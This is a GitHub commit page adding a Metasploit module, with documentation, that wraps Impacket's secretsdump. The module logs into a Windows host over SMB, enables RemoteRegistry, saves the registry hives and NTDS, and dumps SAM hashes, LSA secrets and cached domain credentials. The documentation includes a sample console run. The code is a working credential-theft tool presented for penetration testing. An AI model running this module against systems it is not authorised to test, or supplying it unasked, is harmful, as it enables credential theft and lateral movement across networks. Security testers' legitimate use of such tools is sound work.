Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #10107, Add the scanner/smb/impacket/secretsdump module
- Loading branch information
1 parent
a4f0dc5
commit 9dc3e35
Showing
2 changed files
with
306 additions
and
0 deletions.
There are no files selected for viewing
48 changes: 48 additions & 0 deletions
48
documentation/modules/auxiliary/scanner/smb/impacket/secretsdump.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
## Verification Steps | ||
|
||
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in | ||
Python's module path, so `import impacket` works from any directory. | ||
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this | ||
specific version. | ||
1. Start msfconsole | ||
1. Do: `use auxiliary/scanner/smb/impacket/secretsdump` | ||
1. Set: `RHOSTS`, `SMBUser`, `SMBPass` | ||
1. Do: `run`, see hashes from the remote machine | ||
|
||
## Scenario | ||
|
||
``` | ||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > show options | ||
Module options (auxiliary/scanner/smb/impacket/secretsdump): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
ExecMethod smbexec yes The method to use for execution (Accepted: smbexec, wmiexec, mmcexec) | ||
OutputFile no Write the results to a file | ||
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier | ||
SMBDomain . no The Windows domain to use for authentication | ||
SMBPass wakawaka yes The password for the specified username | ||
SMBUser spencer yes The username to authenticate as | ||
THREADS 1 yes The number of concurrent threads | ||
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/secretsdump) > run | ||
[*] [2018.04.04-17:15:45] Running for 192.168.90.11... | ||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is in stopped state | ||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Service RemoteRegistry is disabled, enabling it | ||
[*] [2018.04.04-17:15:45] 192.168.90.11 - Starting service RemoteRegistry | ||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for JD | ||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Skew1 | ||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for GBG | ||
[*] [2018.04.04-17:15:46] 192.168.90.11 - Retrieving class info for Data | ||
[REDACTED] | ||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Cleaning up... | ||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Stopping service RemoteRegistry | ||
[*] [2018.04.04-17:15:48] 192.168.90.11 - Restoring the disabled state for service RemoteRegistry | ||
[*] [2018.04.04-17:15:48] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
[1]: https://github.com/CoreSecurity/impacket | ||
[2]: https://www.dlitz.net/software/pycrypto/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,258 @@ | ||
#!/usr/bin/env python | ||
# Copyright (c) 2003-2018 CORE Security Technologies | ||
# | ||
# This software is provided under under a slightly modified version | ||
# of the Apache Software License. See the accompanying LICENSE file | ||
# for more information. | ||
# | ||
|
||
import codecs | ||
import logging | ||
import os | ||
import sys | ||
import traceback | ||
|
||
try: | ||
from impacket import version | ||
from impacket.examples import logger | ||
from impacket.smbconnection import SMBConnection | ||
|
||
from impacket.examples.secretsdump import LocalOperations, \ | ||
RemoteOperations, SAMHashes, LSASecrets, NTDSHashes | ||
except ImportError: | ||
dependencies_missing = True | ||
else: | ||
dependencies_missing = False | ||
|
||
import _msf_impacket | ||
import metasploit.module as module | ||
|
||
metadata = { | ||
'name': 'DCOM Exec', | ||
'description': ''' | ||
Performs various techniques to dump hashes from the remote machine | ||
without executing any agent there. For SAM and LSA Secrets (including | ||
cached creds) we try to read as much as we can from the registry and | ||
then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) and | ||
read the rest of the data from there. | ||
''', | ||
'authors': ['Alberto Solino', 'Spencer McIntyre'], | ||
'date': '2018-03-32', | ||
'license': 'CORE_LICENSE', | ||
'references': [ | ||
{'type': 'url', 'ref': 'https://github.com/gentilkiwi/kekeo/tree/master/dcsync'}, | ||
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html'}, | ||
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html'}, | ||
{'type': 'url', 'ref': 'http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html'}, | ||
{'type': 'url', 'ref': 'http://www.quarkslab.com/en-blog+read+13'}, | ||
{'type': 'url', 'ref': 'https://code.google.com/p/creddump/'}, | ||
{'type': 'url', 'ref': 'http://lab.mediaservice.net/code/cachedump.rb'}, | ||
{'type': 'url', 'ref': 'http://insecurety.net/?p=768'}, | ||
{'type': 'url', 'ref': 'http://www.beginningtoseethelight.org/ntsecurity/index.htm'}, | ||
{'type': 'url', 'ref': 'http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf'}, | ||
{'type': 'url', 'ref': 'http://www.passcape.com/index.php?section=blog&cmd=details&id=15'}, | ||
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py'}, | ||
{'type': 'aka', 'ref': 'secretsdump.py'}, | ||
], | ||
'type': 'single_scanner', | ||
'options': { | ||
'ExecMethod': {'type': 'enum', 'description': 'The method to use for execution', 'required': True, 'default': 'smbexec', 'values': ['smbexec', 'wmiexec', 'mmcexec']}, | ||
'OutputFile': {'type': 'string', 'description': 'Write the results to a file', 'required': False}, | ||
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'}, | ||
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None}, | ||
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None}, | ||
} | ||
} | ||
|
||
|
||
class DumpSecrets: | ||
def __init__(self, remoteName, username='', password='', domain='', outputFile=None, execMethod='smbexec'): | ||
self.__useVSSMethod = False | ||
self.__remoteName = remoteName | ||
self.__remoteHost = remoteName | ||
self.__username = username | ||
self.__password = password | ||
self.__domain = domain | ||
self.__lmhash = '' | ||
self.__nthash = '' | ||
self.__aesKey = None | ||
self.__smbConnection = None | ||
self.__remoteOps = None | ||
self.__SAMHashes = None | ||
self.__NTDSHashes = None | ||
self.__LSASecrets = None | ||
self.__systemHive = None | ||
self.__securityHive = None | ||
self.__samHive = None | ||
self.__ntdsFile = None | ||
self.__history = False | ||
self.__noLMHash = True | ||
self.__isRemote = True | ||
self.__outputFileName = outputFile | ||
self.__doKerberos = False | ||
self.__justDC = False | ||
self.__justDCNTLM = False | ||
self.__justUser = None | ||
self.__pwdLastSet = False | ||
self.__printUserStatus = False | ||
self.__resumeFileName = None | ||
self.__canProcessSAMLSA = True | ||
self.__kdcHost = None | ||
self.__execMethod = execMethod | ||
|
||
|
||
def connect(self): | ||
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) | ||
if self.__doKerberos: | ||
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, | ||
self.__nthash, self.__aesKey, self.__kdcHost) | ||
else: | ||
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) | ||
|
||
def dump(self): | ||
try: | ||
if self.__remoteName.upper() == 'LOCAL' and self.__username == '': | ||
self.__isRemote = False | ||
self.__useVSSMethod = True | ||
localOperations = LocalOperations(self.__systemHive) | ||
bootKey = localOperations.getBootKey() | ||
if self.__ntdsFile is not None: | ||
# Let's grab target's configuration about LM Hashes storage | ||
self.__noLMHash = localOperations.checkNoLMHashPolicy() | ||
else: | ||
self.__isRemote = True | ||
bootKey = None | ||
try: | ||
try: | ||
self.connect() | ||
except: | ||
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: | ||
# SMBConnection failed. That might be because there was no way to log into the | ||
# target system. We just have a last resort. Hope we have tickets cached and that they | ||
# will work | ||
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help') | ||
pass | ||
else: | ||
raise | ||
|
||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) | ||
self.__remoteOps.setExecMethod(self.__execMethod) | ||
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: | ||
self.__remoteOps.enableRegistry() | ||
bootKey = self.__remoteOps.getBootKey() | ||
# Let's check whether target system stores LM Hashes | ||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() | ||
except Exception, e: | ||
self.__canProcessSAMLSA = False | ||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ | ||
and self.__doKerberos is True: | ||
# Giving some hints here when SPN target name validation is set to something different to Off | ||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/ | ||
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') | ||
else: | ||
logging.error('RemoteOperations failed: %s' % str(e)) | ||
|
||
# If RemoteOperations succeeded, then we can extract SAM and LSA | ||
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: | ||
try: | ||
if self.__isRemote is True: | ||
SAMFileName = self.__remoteOps.saveSAM() | ||
else: | ||
SAMFileName = self.__samHive | ||
|
||
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote, perSecretCallback=self.perSecretCallback1) | ||
self.__SAMHashes.dump() | ||
if self.__outputFileName is not None: | ||
self.__SAMHashes.export(self.__outputFileName) | ||
except Exception, e: | ||
logging.error('SAM hashes extraction failed: %s' % str(e)) | ||
|
||
try: | ||
if self.__isRemote is True: | ||
SECURITYFileName = self.__remoteOps.saveSECURITY() | ||
else: | ||
SECURITYFileName = self.__securityHive | ||
|
||
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, | ||
isRemote=self.__isRemote, history=self.__history, | ||
perSecretCallback=self.perSecretCallback2) | ||
self.__LSASecrets.dumpCachedHashes() | ||
if self.__outputFileName is not None: | ||
self.__LSASecrets.exportCached(self.__outputFileName) | ||
self.__LSASecrets.dumpSecrets() | ||
if self.__outputFileName is not None: | ||
self.__LSASecrets.exportSecrets(self.__outputFileName) | ||
except Exception, e: | ||
logging.error('LSA hashes extraction failed: %s' % str(e), exc_info=True) | ||
|
||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work | ||
if self.__isRemote is True: | ||
if self.__useVSSMethod and self.__remoteOps is not None: | ||
NTDSFileName = self.__remoteOps.saveNTDS() | ||
else: | ||
NTDSFileName = None | ||
else: | ||
NTDSFileName = self.__ntdsFile | ||
|
||
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, | ||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, | ||
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, | ||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, | ||
outputFileName=self.__outputFileName, justUser=self.__justUser, | ||
printUserStatus=self.__printUserStatus, perSecretCallback=self.perSecretCallback2) | ||
try: | ||
self.__NTDSHashes.dump() | ||
except Exception, e: | ||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: | ||
# We don't store the resume file if this error happened, since this error is related to lack | ||
# of enough privileges to access DRSUAPI. | ||
resumeFile = self.__NTDSHashes.getResumeSessionFile() | ||
if resumeFile is not None: | ||
os.unlink(resumeFile) | ||
logging.error(e, exc_info=True) | ||
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: | ||
logging.info("You just got that error because there might be some duplicates of the same name. " | ||
"Try specifying the domain name for the user as well. It is important to specify it " | ||
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") | ||
elif self.__useVSSMethod is False: | ||
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') | ||
self.cleanup() | ||
except (Exception, KeyboardInterrupt), e: | ||
logging.error(e, exc_info=True) | ||
try: | ||
self.cleanup() | ||
except: | ||
pass | ||
|
||
def perSecretCallback1(self, secret): | ||
module.log(secret, 'good') | ||
|
||
def perSecretCallback2(self, secretType, secret): | ||
module.log(secret, 'good') | ||
|
||
def cleanup(self): | ||
logging.info('Cleaning up... ') | ||
if self.__remoteOps: | ||
self.__remoteOps.finish() | ||
if self.__SAMHashes: | ||
self.__SAMHashes.finish() | ||
if self.__LSASecrets: | ||
self.__LSASecrets.finish() | ||
if self.__NTDSHashes: | ||
self.__NTDSHashes.finish() | ||
|
||
|
||
def run(args): | ||
if dependencies_missing: | ||
module.log('Module dependencies (impacket) missing, cannot continue', level='error') | ||
return | ||
|
||
_msf_impacket.pre_run_hook(args) | ||
dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod']) | ||
try: | ||
dumper.dump() | ||
except Exception, e: | ||
logging.error(e, exc_info=True) | ||
|
||
if __name__ == "__main__": | ||
module.run(metadata, run) |